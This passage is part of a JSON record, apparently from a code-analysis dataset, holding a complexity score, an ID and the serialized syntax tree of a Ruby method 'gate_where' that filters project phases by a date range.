end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gate_where\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_date\"]},{\"type\":\"optarg\",\"children\":[\"finish_date\",{\"type\":\"lvar\",\"children\":[\"start_date\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_phase_scope\"]},\"where\",{\"type\":\"send\",\"children\":[null,\"date_range_clause\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"Phase\"]},\"table_name\"]},{\"type\":\"send\",\"children\":[null,\"column_name\"]},{\"type\":\"lvar\",\"children\":[\"start_date\"]},{\"type\":\"lvar\",\"children\":[\"finish_date\"]}]}]}]}","id":"92bbccc0-8263-48a6-83b9-d3e61554af2e"}
